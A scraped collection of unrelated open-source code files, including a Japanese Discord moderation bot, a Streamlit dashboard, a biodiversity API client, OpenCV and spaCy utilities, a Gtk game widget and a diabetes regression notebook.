value=game_state, inline=True)\n break\n else:\n embed.add_field(name=\"プレイ中のゲーム\", value=\"Activity���情報はありませんでした。\", inline=False)\n embed.add_field(name=\"ユーザーのクライアント\", value=user_client, inline=False)\n embed.set_author(name=f\"{member.name}\", icon_url=\"https://media.discordapp.net/avatars/{}/{}.png?size=1024\".format(member.id,member.avatar))\n embed.timestamp = datetime.datetime.utcnow()\n if send_message is not None:\n embed.add_field(name=\"ユーザーのクライアント\", value=user_client, inline=False)\n embed.set_author(name=f\"{member.name}\", icon_url=\"https://media.discordapp.net/avatars/{}/{}.png?size=1024\".format(member.id,member.avatar))\n embed.timestamp = datetime.datetime.utcnow()\n await send_message.send(content=f'Go Live Stream in <#{after.channel.id}>', embed=embed)\n #配信終了時\n elif before.self_stream != after.self_stream :\n send_message = discord.utils.get(member.guild.text_channels, name='ボイスチャンネルログ')\n embed=discord.Embed(title='Go Live Stream',description=\"配信は終了しました。(し〜ん)\",color=0xfbff00)\n embed.set_author(name=f\"{member.name}\", icon_url=\"https://media.discordapp.net/avatars/{}/{}.png?size=1024\".format(member.id,member.avatar))\n embed.timestamp = datetime.datetime.utcnow()\n if send_message is not None:\n await send_message.send(embed=embed)\n\n#メッセージ削除\n@client.event\nasync def on_message_delete(message):\n # メッセージを削除したユーザーがボットの場合は無視\n if message.author.bot:\n return\n\n # 削除ログチャンネルを取得\n channel = discord.utils.get(message.guild.channels, name=\"削除ログ\")\n if channel is not None:\n # 削除されたメッセージの情報を取得\n embed = discord.Embed(title=\"メッセージ削除\", color=discord.Color.red())\n embed.add_field(name=\"チャンネル\", value=message.channel.mention, inline=False)\n embed.add_field(name=\"メッセージ内容\", value=message.content, inline=False)\n embed.set_author(name=f\"{message.author.name}\",icon_url=\"https://media.discordapp.net/avatars/{}/{}.png?size=1024\".format(message.author.id, message.author.avatar))\n embed.set_footer(text=\"{} / UserID:{}\".format(message.guild.name, message.author.id),icon_url=\"https://media.discordapp.net/icons/{}/{}.png?size=1024\".format(message.guild.id, message.guild.icon))\n embed.timestamp = datetime.datetime.utcnow()\n\n # 削除ログにメッセージを送信\n await channel.send(embed=embed)\n \n#メッセージ編集\n@client.event\nasync def on_message_edit(before, after):\n if after.author.bot:\n return\n if after.content == before.content:\n return\n channel = discord.utils.get(after.guild.channels, name=\"削除ログ\")\n if channel is not None:\n embed = discord.Embed(title=\"メッセージ編集\",\n description=f\"[元のメッセージを見る](https://discord.com/channels/{after.guild.id}/{after.channel.id}/{after.id})\",\n color=0x00ff00)\n embed.add_field(name=\"チャンネル\", value=after.channel.mention, inline=False)\n embed.add_field(name=\"編集前のメッセージ\", value=before.content, inline=False)\n embed.add_field(name=\"編集後のメッセージ\", value=after.content, inline=False)\n embed.set_author(name=f\"{after.author.name}\",icon_url=\"https://media.discordapp.net/avatars/{}/{}.png?size=1024\".format(after.author.id, after.author.avatar))\n embed.set_footer(text=\"{} / UserID:{}\".format(after.guild.name, after.author.id),icon_url=\"https://media.discordapp.net/icons/{}/{}.png?size=1024\".format(after.guild.id, after.guild.icon))\n embed.timestamp = datetime.datetime.utcnow()\n await channel.send(embed=embed)\n\n#サーバーログ\n@client.event\nasync def on_guild_join(guild):\n system_channel = guild.system_channel\n if system_channel is not None:\n message = \"はじめまして!ハリネズミン!です!\"\n embed=discord.Embed(title=\"ハリネズミン!v2 \", description=\"ここでは、botの基本的な機能について軽く紹介します。\\nまたこの内容はでもご確認いただけます。\", color=0x00ff04)\n embed.add_field(name=\"削除・メッセージ編集ログ機能\", value=\"「削除ログ」という名前のチャンネルを作成すると、メッセージの削除・編集ログが残るようになります。\", inline=False)\n embed.add_field(name=\"ボイスチャンネル入退出ログ機能\", value=\"「ボイスチャンネルログ」という名前のチャンネルを作成すると、サーバー内でボイスチャンネルへの入退出があった場合に通知します。\", inline=False)\n embed.add_field(name=\"サポートサーバーのご案内\", value=\"サポートサーバーでは、製作者に直接お問い合わせすることができます。\\n[サポートサーバーに参加](https://discord.gg/pFgBSt6MPX)\", inline=False)\n await system_channel.send(message, embed=embed)\n channel = client.get_channel(1108597602766827561)\n embed=discord.Embed(title=\"新規bot参加\", description=f\"Botが「{guild.name}」に参加しました。\", color=0x00ffe1)\n embed.set_footer(text=f\"GuildID:{guild.id}\", icon_url=guild.icon_url)\n embed.timestamp = datetime.datetime.utcnow()\n await channel.send(embed=embed)\n\n#役職パネル用リアクションが追加されたときのイベントハンドラ\n@client.event\nasync def on_raw_reaction_add(payload):\n if payload.user_id == client.user.id or payload.member.bot:\n return\n try:\n channel = client.get_channel(payload.channel_id)\n message = await channel.fetch_message(payload.message_id)\n except Exception as e:\n channel = client.get_channel(1118756012351029358)\n embed=discord.Embed(title=\"例外処理エラー(役職パネル)\", description=f\"詳細:\\n```\\n{str(e)}```\\n\")\n await channel.send(embed=embed)\n pass\n try:\n if message.author.id == client.user.id:\n if message.content == 'ロールに対応する絵文字にリアクションするとロールを受け取ることができます。':\n embed = message.embeds[0]\n fields = embed.fields\n field_value = None \n for field in fields:\n if str(field.name) == str(payload.emoji):\n field_name = field.name\n field_value = field.value\n break\n if field_value is not None:\n role_id = ''.join(char for char in field_value if char.isdigit())\n guild = client.get_guild(payload.guild_id)\n role = guild.get_role(int(role_id))\n member = payload.member\n if role in member.roles:\n emoji = payload.emoji\n await message.remove_reaction(emoji, member)\n await member.remove_roles(role)\n channel = client.get_channel(payload.channel_id)\n embed = discord.Embed(description=f\"ロール<@&{role_id}>を解除しました。\")\n m = await channel.send(f\"<@{payload.user_id}>\", embed=embed)\n await asyncio.sleep(5)\n await m.delete()\n else:\n emoji = payload.emoji\n await message.remove_reaction(emoji, member)\n await member.add_roles(role)\n channel = client.get_channel(payload.channel_id)\n embed = discord.Embed(description=f\"ロール<@&{role_id}>を付与しました。\")\n m = await channel.send(f\"<@{payload.user_id}>\", embed=embed)\n await asyncio.sleep(5)\n await m.delete()\n else:\n member = payload.member\n emoji = payload.emoji\n await message.remove_reaction(emoji, member)\n except Exception as e:\n embed=discord.Embed(description=\"ロールの付与でエラーが発生しました。\\n付与しようとしたロールがbotよりも順位が高いもしくは、アプリケーションに関連付けられたロールの可能性があります。\")\n m = await channel.send(f\"<@{payload.user_id}>\", embed=embed)\n await asyncio.sleep(5)\n await m.delete()\n channel = client.get_channel(1118756012351029358)\n embed=discord.Embed(title=\"例外処理エラー(役職パネル)\", description=f\"詳細:\\n```\\n{str(e)}```\\n\")\n await channel.send(embed=embed)\n\n@client.event\nasync def on_reaction_add(reaction, user):\n if reaction.message.author.id == client.user.id:\n return\n if str(reaction.emoji) == '🤔':\n channel = discord.utils.get(reaction.message.guild.channels, name=\"thinking-channel\")\n channel_message = f'<#{reaction.message.channel.id}>'\n count = reaction.count\n content = reaction.message.content\n if count >= 15:\n msg_content = f'🤔🥇 **{count}** {channel_message} [Jump to message](https://discord.com/channels/{reaction.message.guild.id}/{reaction.message.channel.id}/{reaction.message.id})'\n elif count >= 10:\n msg_content = f'🤔🥈 **{count}** {channel_message} [Jump to message](https://discord.com/channels/{reaction.message.guild.id}/{reaction.message.channel.id}/{reaction.message.id})'\n elif count >= 5:\n msg_content = f'🤔🥉 **{count}** {channel_message} [Jump to message](https://discord.com/channels/{reaction.message.guild.id}/{reaction.message.channel.id}/{reaction.message.id})'\n else:\n msg_content = f'🤔 **{count}** {channel_message} [Jump to message](https://discord.com/channels/{reaction.message.guild.id}/{reaction.message.channel.id}/{reaction.message.id})'\n if channel is not None:\n embed=discord.Embed(description=content,color=0x00ff2a)\n embed.set_author(name=f\"{reaction.message.author.name}\", url=f'https://discord.com/channels/{reaction.message.guild.id}/{reaction.message.channel.id}/{reaction.message.id}', icon_url=f\"https://media.discordapp.net/avatars/{reaction.message.author.id}/{reaction.message.author.avatar}.png?size=1024\")\n embed.set_footer(text=f'ID:{reaction.message.id}')\n embed.timestamp = datetime.datetime.utcnow()\n reaction_message = await channel.send(content=msg_content, embed=embed)\n await reaction_message.add_reaction('🤔')\n else:\n return\n \n\n#起動時処理\n@client.event\nasync def on_ready():\n game = discord.Game(f'アニマロッタ 夢のアニマランド')\n await client.change_presence(status=discord.Status.online, activity=game)\n print('ログインしました')\n print('------')\n print(client.user.name) # Botの名前\n print(discord.__version__) # discord.pyのバージョン\n print('------')\n if sync_command:\n await tree.sync()\n print('コマンド同期を実行しました!')\n\nclient.run('TOKEN')\n","repo_name":"animalotta0206/harine_zumin","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":41503,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"7748026061","text":"#!/usr/bin/env python3\n\n\"\"\"Learning Rate Decay Upgraded\"\"\"\n\nimport tensorflow as tf\n\n\ndef learning_rate_decay(alpha, decay_rate, global_step, decay_step):\n \"\"\"learning rate decay operation in tensorflow using inverse time decay:\n\n alpha is the original learning rate\n decay_rate: weight to determine the rate at which alpha will decay\n global_step: number of passes of gradient descent that have elapsed\n decay_step: numb of passes of gradient descent that should occur\n before alpha is decayed further\n the learning rate decay should occur in a stepwise fashion\n Returns: the learning rate decay operation\"\"\"\n\n train = tf.train.inverse_time_decay(learning_rate=alpha,\n global_step=global_step,\n decay_steps=decay_step,\n decay_rate=decay_rate,\n staircase=True)\n\n return train\n","repo_name":"xica369/holbertonschool-machine_learning","sub_path":"supervised_learning/0x03-optimization/12-learning_rate_decay.py","file_name":"12-learning_rate_decay.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72732776987","text":"import streamlit as st\nimport pandas as pd\n\nst.set_page_config(\n page_title=\"My streamlit project\",\n page_icon=\"🧊\",\n layout=\"wide\")\n\noption = st.sidebar.selectbox(\n 'Selecciona la vista: ',\n ('Home', 'Visualizaciones', 'Mapa'),\n index=0)\n\nst.sidebar.write(option)\n\nuploaded_file = st.sidebar.file_uploader(\"Elige un csv\", type=[\"csv\"])\nif uploaded_file is not None:\n datos = pd.read_csv(uploaded_file)\n\ndatos = pd.read_csv(\"data/red_recarga_acceso_publico_2021.csv\", sep=\";\")\n\nif option == \"Home\":\n\n st.title(\":blue[My App]\")\n\n\n with st.expander(\"Detalles de la aplicación- Haz clic para expandir\"):\n st.write(\"\"\"\n Esto es una apliación bla.\n 1º Hola.\n 2º Adiós.\n 3º Idiota.\n \"\"\")\n st.image('https://pbs.twimg.com/media/FTh_sKmWUAI5ws6?format=jpg&name=4096x4096', width = 500,\n caption=\"Mestalla en el partido de leyendas\")\n\n\n with st.echo():\n st.write(datos)\n\n with st.echo():\n #Código para generar números pares\n lista = list(range(10))\n even_list = [x for x in lista if x%2 == 0]\n st.write()\n\n st.balloons()\n\n\nelif option == \"Mapa\":\n datos_pal_mapa = datos[[\"latidtud\", \"longitud\"]]\n datos_pal_mapa.columns = [\"lat\", \"lon\"]\n st.subheader(\"Mapa de cargadores\")\n st.map(datos_pal_mapa)\n\nelif option == \"Visualizaciones\":\n datos_pal_barchar= datos.groupby(\"DISTRITO\")[[\"Nº CARGADORES\"]].sum().reset_index()\n st.subheader(\"Numero de cargadores por distrito\")\n st.bar_chart(datos, x = \"DISTRITO\", y = \"Nº CARGADORES\")\n","repo_name":"guillemasp/streamlit-cargatron_Guille","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39186903326","text":"from bananompy.utils.bananompy_utils import bionom_get, BASEURL\n\n\ndef get(person_id, csv=None, specimens=None, page=None, limit=None):\n \"\"\"\n Get a person or their specimens\n \n :param person_id: [str] An ORCID or WikiData identifier\n :param specimens: [bool] Return the person's specimens\n :param csv: [bool] For specimens, whether to return a csv\n :param page: [int] The result page number\n :param limit: [int] The result limit\n\n Usage::\n\n from bananompy import person\n\n # Get Mary Agnes Chase's profile\n person.get('Q3822242')\n\n # Get Mary Agnes Chase's specimens\n person.get('Q3822242', specimens=True)\n\n # Get Mary Agnes Chase's specimens in comma-separated value format\n person.get('Q3822242', specimens=True, csv=True)\n \"\"\"\n if csv and specimens:\n extension = '.csv'\n else:\n extension = '.jsonld'\n\n if specimens:\n endpoint = f\"{person_id}/specimens{extension}\"\n else:\n page = None\n limit = None\n endpoint = f\"{person_id}{extension}\"\n \n url = BASEURL + endpoint\n args = {\n 'page': page,\n 'limit': limit\n }\n out = bionom_get(url, args)\n return out\n\n\ndef search(\n q,\n families_collected=None,\n families_identified=None,\n date=None,\n strict=False,\n callback=None,\n page=0,\n limit=30,\n **kwargs\n):\n \"\"\"\n Search Bionomia people\n\n :param q: [str] A single human name\n :param families_collected: [str] Comma-separated list of taxonomic families collected\n :param families_identified: [str] Comma-separated list of taxonomic families identified\n :param date: [str] Filters to alive during date (format: YYYY-MM-DD, YYYY-MM, or YYYY)\n e.g., Captain John Smith was alive from 1580-01-01 through 1631-06-21, so setting date to any value between\n their birth/death date will include Captain John in the search results\n :param strict: [bool] Must include vs should include on families_identified, families_collected, date\n :param callback: [str] A string to produce a JSONP response instead of a JSON-LD response\n :param page: [int] The result page number\n :param limit: [int] The result limit\n\n Usage::\n\n from bananompy import person\n person.search(q='Mary Agnes Chase')\n\n # Filter the search by families collected\n person.search(q='Mary Agnes Chase', familiies_collect='Poaceae', strict=True)\n \"\"\"\n url = BASEURL + \"users/search\"\n args = {\n \"q\": q,\n \"families_collected\": families_collected,\n \"families_identified\": families_identified,\n \"date\": date,\n \"strict\": strict,\n \"callback\": callback,\n \"page\": page,\n \"limit\": limit\n }\n kwargs = {key: kwargs[key] for key in kwargs if key not in requests_argset}\n if kwargs is not None:\n xx = dict(\n zip([re.sub(\"_\", \".\", x) for x in kwargs.keys()], kwargs.values())\n )\n args.update(xx)\n kwargs = {key: kwargs[key] for key in kwargs if key in requests_argset}\n out = bionom_get(url, args, **kwargs)\n return out","repo_name":"SpeciesFileGroup/bananompy","sub_path":"bananompy/bananompy/person.py","file_name":"person.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"5310775686","text":"import cv2\nimport numpy as np\nimport glob\n\n\nimages = glob.glob('w/*.png')\nfor image in images:\n\n # read image\n img = cv2.imread(image)\n\n # convert to grayscale\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\n # invert gray image\n gray = 255 - gray\n\n # threshold\n thresh = cv2.threshold(gray, 0, 250, cv2.THRESH_OTSU + cv2.THRESH_BINARY)[1]\n\n # apply close and open morphology to fill tiny black and white holes and save as mask\n kernel = np.ones((3,3), np.uint8)\n mask = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel)\n mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\n mask = cv2.subtract(255, mask)\n\n # get contours (presumably just one around the nonzero pixels)\n contours = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n contours = contours[0] if len(contours) == 2 else contours[1]\n cntr = contours[0]\n x,y,w,h = cv2.boundingRect(cntr)\n\n # make background transparent by placing the mask into the alpha channel\n new_img = cv2.cvtColor(img, cv2.COLOR_BGR2BGRA)\n new_img[:, :, 3] = mask\n\n # then crop it to bounding rectangle\n crop = new_img[y:y+h, x:x+w]\n\n\n # save cropped image\n # cv2.imwrite('cow_thresh.png',thresh)\n # cv2.imwrite('cow_mask.png',mask)\n image = image[2:]\n print(image)\n #cv2.imwrite('./cropped/'+image+'_cropped.png',crop)\n\n # show the images\n cv2.imshow(\"THRESH\", thresh)\n #cv2.imshow(\"MASK\", mask)\n cv2.imshow(\"CROP\", crop)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"6amir6hosein6/Measuring-Sunlight-Intensity-for-Atmospheric-Analysis","sub_path":"Masking image object/CropUsingMask.py","file_name":"CropUsingMask.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9445870582","text":"import os\nfrom gi.repository import Gtk, Gdk\nfrom linux_story.common import images_dir\nfrom linux_story.helper_functions import get_ascii_art\n\n\nclass Spellbook(Gtk.EventBox):\n '''This is the GUI showing all the spells along the bottom\n '''\n\n SPELLBOOK_BORDER = 1\n SPELL_BORDER = 1\n CMD_HEIGHT = 80\n CMD_WIDTH = 80\n HEIGHT = 100\n number_of_spells = 10\n\n def __init__(self, is_caps_lock_on=False):\n self.stop = False\n self.is_caps_lock_on = is_caps_lock_on\n\n Gtk.EventBox.__init__(self)\n self.get_style_context().add_class(\"spellbook_background\")\n\n self.box = Gtk.Box()\n self.grid = Gtk.Grid()\n self.caps_lock_warning = self.__create_caps_lock_warning()\n self.box.pack_start(self.grid, True, True, 0)\n self.box.pack_end(self.caps_lock_warning, False, False, 0)\n self.add(self.box)\n\n screen = Gdk.Screen.get_default()\n self.win_width = screen.get_width()\n self.win_height = screen.get_height()\n\n self.WIDTH = self.win_width / 2\n self.set_size_request(self.WIDTH, self.HEIGHT)\n\n self.__pack_locked_spells()\n\n # sigh.. this is basically to get showing and hiding right for the two widgets\n self.connect('show', self.__on_show)\n self.grid.connect('show', self.__on_show)\n self.caps_lock_warning.connect('show', self.__on_show)\n\n # default to normal theme\n self.set_normal_theme()\n\n @staticmethod\n def __create_caps_lock_warning():\n box = Gtk.Box()\n box.get_style_context().add_class(\"caps_lock_warning\")\n box.set_margin_top(10)\n box.set_margin_bottom(10)\n\n title = '' \\\n 'Watch out, Caps Lock is activated on your keyboard' \\\n ''\n description = 'Terminal commands are \\'case sensitive\\' so have to be written' \\\n ' with capital or lower\\ncase letters exactly as the computer' \\\n ' expects them, for example write' \\\n ' ls not' \\\n ' LS.'\n\n left_box = Gtk.Box()\n left_box.set_margin_left(10)\n left_box.add(Gtk.Image.new_from_file(os.path.join(images_dir, 'caps_lock.png')))\n\n right_box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL)\n right_box.set_hexpand(True)\n right_box.set_margin_top(10)\n right_box.set_margin_bottom(10)\n right_box.set_margin_left(10)\n right_box.set_margin_right(10)\n\n title_label = Gtk.Label()\n title_label.set_markup(title)\n title_label.set_margin_bottom(3)\n title_label.set_halign(Gtk.Align.START)\n description_label = Gtk.Label()\n description_label.set_markup(description)\n right_box.add(title_label)\n right_box.add(description_label)\n\n box.add(left_box)\n box.add(right_box)\n\n return box\n\n def __on_show(self, widget):\n \"\"\"\n Event handler for this widget on the 'show' event.\n \"\"\"\n self.__show_or_hide_caps_lock_warning()\n\n def caps_lock_changed(self, is_caps_lock_on):\n \"\"\"\n Update the CapsLock key status to show or hide the widget.\n\n This method gets called by the main_window.\n \"\"\"\n self.is_caps_lock_on = is_caps_lock_on\n self.__show_or_hide_caps_lock_warning()\n\n def __show_or_hide_caps_lock_warning(self):\n \"\"\"\n Show or hide the CapsLock notification widget instead of the spells\n depending on the key state.\n \"\"\"\n if self.is_caps_lock_on:\n self.grid.hide()\n self.caps_lock_warning.show_all()\n else:\n self.grid.show_all()\n self.caps_lock_warning.hide()\n\n def repack_spells(self, commands, highlighted):\n '''\n Takes in the list of commands, and creates the spells and\n packs them into a grid.\n\n Args:\n commands (list): List of strings of the commands we want to show\n\n Returns:\n None\n '''\n\n left = 0\n\n for command in commands:\n if (left + 1) * (self.CMD_WIDTH + 20) < self.win_width:\n box = self.__create_spell(command, highlighted=command in highlighted)\n child = self.grid.get_child_at(left, 0)\n self.grid.remove(child)\n self.grid.attach(box, left, 0, 1, 1)\n left += 1\n\n self.__show_or_hide_caps_lock_warning()\n\n def __create_spell(self, name, locked=False, highlighted=False):\n '''\n Create the individual GUI for a spell.\n To create the icon, have the icon located at\n media/images/name.png\n\n Args:\n name (str): Name to be shown in the widget\n locked (bool): Whether we show the icon locked\n i.e. with a padlock\n\n Returns:\n Gtk.Box: container widget for an individual spell\n '''\n\n box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL)\n box.set_size_request(self.CMD_WIDTH, self.CMD_HEIGHT)\n box.set_margin_top(10)\n box.set_margin_left(10)\n box.set_margin_right(10)\n box.set_margin_bottom(10)\n\n icon_overlay = Gtk.Overlay()\n icon_overlay.set_size_request(80, 50)\n icon_overlay.set_opacity(0.99)\n if name != '...':\n icon_overlay.set_tooltip_markup(get_ascii_art(name + '_tooltip'))\n box.pack_start(icon_overlay, False, False, 0)\n\n icon_background = Gtk.EventBox()\n icon_background.get_style_context().add_class(\"spell_icon_background\")\n icon_overlay.add(icon_background)\n\n label_background = Gtk.EventBox()\n label_background.get_style_context().add_class(\"spell_label_background\")\n box.pack_start(label_background, False, False, 0)\n\n if locked:\n filename = os.path.join(images_dir, \"padlock.png\")\n icon_background.get_style_context().add_class(\"locked\")\n label_background.get_style_context().add_class(\"locked\")\n\n else:\n filename = os.path.join(images_dir, name + \".png\")\n\n if highlighted:\n highlight_box = Gtk.EventBox()\n highlight_box.add(Gtk.Image.new_from_file(\n os.path.join(images_dir, \"overlay.gif\")\n ))\n icon_background.add(highlight_box)\n\n icon_box = Gtk.EventBox()\n icon_box.add(Gtk.Image.new_from_file(filename))\n icon_overlay.add_overlay(icon_box)\n\n label = Gtk.Label(name)\n label.get_style_context().add_class(\"spell_command\")\n label.set_alignment(xalign=0.5, yalign=0.5)\n label_background.add(label)\n\n return box\n\n def __pack_locked_spells(self):\n '''\n Fill up the rest of the spellbook with locked boxes.\n '''\n\n left = 0\n\n while left < self.number_of_spells:\n locked_box = self.__create_spell(\"...\", locked=True)\n self.grid.attach(locked_box, left, 0, 1, 1)\n left += 1\n\n def __set_theme(self):\n if self.dark:\n self.set_dark_theme()\n else:\n self.set_normal_theme()\n\n def set_dark_theme(self):\n style_context = self.get_style_context()\n style_context.remove_class(\"normal\")\n style_context.add_class(\"dark\")\n\n def set_normal_theme(self):\n style_context = self.get_style_context()\n style_context.remove_class(\"dark\")\n style_context.add_class(\"normal\")\n","repo_name":"KanoComputing/terminal-quest","sub_path":"linux_story/gtk3/Spellbook.py","file_name":"Spellbook.py","file_ext":"py","file_size_in_byte":7634,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"11"} +{"seq_id":"21539126130","text":"import requests\nfrom io import BytesIO\nfrom PIL import Image\n\n# r = requests.get(\"https://wallpapercave.com/wp/Jzn5hwl.jpg\")\nr = requests.get(\"http://www.qygjxz.com/data/out/75/4030693-epic-wallpaper.png\")\n\nprint(\"status code:\", r.status_code)\n\nimage = Image.open(BytesIO(r.content))\n\nprint(image.size, image.format, image.mode)\n\npath = \"./image.\" + image.format\n\ntry:\n image.save(path, image.format)\nexcept IOError:\n print(\"Cannot save iamge.\")","repo_name":"shockliang/python3-exercises","sub_path":"RequestsModule/request-image.py","file_name":"request-image.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12362629425","text":"from typing import List\n\nfrom ..char_classes import ALPHA, HYPHENS\nfrom .. import punctuation as punc_defaults\n\n\ndef _fixes(seq: List[str]):\n lowers = list(map(str.lower, seq))\n uppers = list(map(str.upper, lowers))\n lower_curly = list(s.replace(\"'\", \"’\") for s in lowers)\n upper_curly = list(map(str.upper, lower_curly))\n return lowers + uppers + lower_curly + upper_curly\n\n# isod ddim yn cydio\n_prefixes = _fixes([\"f'\", \"d'\"])\n\nTOKENIZER_PREFIXES = punc_defaults.TOKENIZER_PREFIXES + _prefixes\n\n_suffixes = _fixes([\"'ch\", \"'i\", \"'m\", \"'n\", \"'r\", \"'th\", \"'u\", \"'w\"])\n\nTOKENIZER_SUFFIXES = punc_defaults.TOKENIZER_SUFFIXES + _suffixes\n\n\n# Infix handling - Preserve hyphenated words.\n# ------------------------------------------------------------------------------------------------\n# Welsh uses hyphens within words to indicate stress and to\n# differentiate between digraphs and two single-grapheme letter.\n# e.g: cyd-destun (two Ds) and cuddio (one DD).\n#\n# The folowing rule needs to be updated if the corresponding code changes in the module:\n# spacy.lang.punctuation\n#\n# Source of idea:\n# https://stackoverflow.com/questions/55241927/spacy-intra-word-hyphens-how-to-treat-them-one-word\n# ------------------------------------------------------------------------------------------------\n\n_default_hyphenation_rule = \"(?<=[{a}])(?:{h})(?=[{a}])\".format(a=ALPHA, h=HYPHENS)\n\n\ndef _strip_default_hyphenation_rule(hyphenation_rule: str) -> List[str]:\n for infp in punc_defaults.TOKENIZER_INFIXES:\n if hyphenation_rule in infp:\n yield infp.replace(hyphenation_rule, \"\")\n else:\n yield infp\n\n\nTOKENIZER_INFIXES = list(_strip_default_hyphenation_rule(_default_hyphenation_rule))\n","repo_name":"techiaith/spacy","sub_path":"spacy/lang/cy/punctuation.py","file_name":"punctuation.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2332569168","text":"from Products.CMFCore.utils import getToolByName\nfrom ftw.builder import Builder\nfrom ftw.builder import create\nfrom ftw.publisher.sender.testing import PUBLISHER_SENDER_INTEGRATION_TESTING\nfrom ftw.publisher.sender.workflows.interfaces import IModifyStatus\nfrom plone.app.testing import TEST_USER_ID\nfrom plone.app.testing import TEST_USER_NAME\nfrom plone.app.testing import login\nfrom plone.app.testing import setRoles\nfrom unittest import TestCase\nfrom zope.interface.verify import verifyObject\n\n\nEXAMPLE_WF_ID = 'publisher-example-workflow'\nEXAMPLE_WF_PUBLISH = '%s--TRANSITION--publish--internal_published' % (\n EXAMPLE_WF_ID)\nEXAMPLE_WF_RETRACT = '%s--TRANSITION--retract--published_internal' % (\n EXAMPLE_WF_ID)\nEXAMPLE_WF_PUBLISHED = 'publisher-example-workflow--STATUS--published'\n\n\nclass TestModifyStatusView(TestCase):\n\n layer = PUBLISHER_SENDER_INTEGRATION_TESTING\n\n def setUp(self):\n super(TestModifyStatusView, self).setUp()\n\n self.portal = self.layer['portal']\n setRoles(self.portal, TEST_USER_ID, ['Manager'])\n login(self.portal, TEST_USER_NAME)\n\n self.wftool = getToolByName(self.portal, 'portal_workflow')\n self.wftool.setChainForPortalTypes(['Document', 'Folder'],\n 'publisher-example-workflow')\n\n def test_browser_view_is_registered(self):\n view = self.portal.unrestrictedTraverse('publisher-modify-status',\n default=None)\n self.assertTrue(view)\n\n def test_browser_view_implements_interface(self):\n view = self.portal.unrestrictedTraverse('publisher-modify-status')\n\n self.assertTrue(IModifyStatus.providedBy(view))\n verifyObject(IModifyStatus, view)\n\n def test_get_transition_action(self):\n page = create(Builder('page'))\n view = page.unrestrictedTraverse('publisher-modify-status')\n\n self.assertEqual(\n view.get_transition_action(EXAMPLE_WF_PUBLISH),\n '%s/content_status_modify?workflow_action=%s' % (\n page.absolute_url(), EXAMPLE_WF_PUBLISH))\n\n def test_is_transaction_allowed(self):\n folder = create(Builder('folder').in_state(EXAMPLE_WF_PUBLISHED))\n page = create(Builder('page').within(folder))\n view = page.unrestrictedTraverse('publisher-modify-status')\n self.assertTrue(view.is_transition_allowed(EXAMPLE_WF_PUBLISH))\n","repo_name":"4teamwork/ftw.publisher.sender","sub_path":"ftw/publisher/sender/tests/test_workflow_modifystatus.py","file_name":"test_workflow_modifystatus.py","file_ext":"py","file_size_in_byte":2424,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"28915894122","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[212]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In[213]:\n\n\ndataset = pd.read_csv(\"diabetes.csv\")\n\n\n# In[214]:\n\n\ndataset.shape\n\n\n# In[215]:\n\n\ndataset.head()\n\n\n# In[216]:\n\n\ndataset.tail()\n\n\n# In[217]:\n\n\ndataset.plot(x=\"Pregnancies\", y=\"Age\", style=\"o\" )\nplt.xlabel(\"Pregnancies\")\nplt.ylabel(\"age\")\nplt.show()\n\n\n# In[218]:\n\n\ndataset.plot(x=\"Glucose\", y=\"Age\", style=\"o\" )\nplt.xlabel(\"glucose\")\nplt.ylabel(\"age\")\nplt.show()\n\n\n# In[219]:\n\n\ndataset.plot(x=\"BloodPressure\", y=\"Age\", style=\"o\" )\nplt.xlabel(\"BloodPressure\")\nplt.ylabel(\"age\")\nplt.show()\n\n\n# In[220]:\n\n\ndataset.plot(x=\"SkinThickness\", y=\"Age\", style=\"o\" )\nplt.xlabel(\"SkinThickness\")\nplt.ylabel(\"age\")\nplt.show()\n\n\n# In[221]:\n\n\ndataset.plot(x=\"Insulin\", y=\"Age\", style=\"o\" )\nplt.xlabel(\"Insulin\")\nplt.ylabel(\"age\")\nplt.show()\n\n\n# In[222]:\n\n\ndataset.plot(x=\"BMI\", y=\"Age\", style=\"o\" )\nplt.xlabel(\"BMI\")\nplt.ylabel(\"age\")\nplt.show()\n\n\n# In[223]:\n\n\ndataset.plot(x=\"DiabetesPedigreeFunction\", y=\"Age\", style=\"o\" )\nplt.xlabel(\"DiabetesPedigreeFunction\")\nplt.ylabel(\"age\")\nplt.show()\n\n\n# In[224]:\n\n\ndataset.describe()\n\n\n# In[225]:\n\n\nX = dataset[['Pregnancies', 'Glucose', 'BloodPressure', 'SkinThickness', 'Insulin', 'BMI', 'DiabetesPedigreeFunction']]\n\ny = dataset[['Age']]\n\n\n# In[226]:\n\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=0)\n\n\n# In[227]:\n\n\nfrom sklearn.linear_model import LinearRegression\nregressor = LinearRegression()\nregressor.fit(X_train, y_train)\n\n\n# 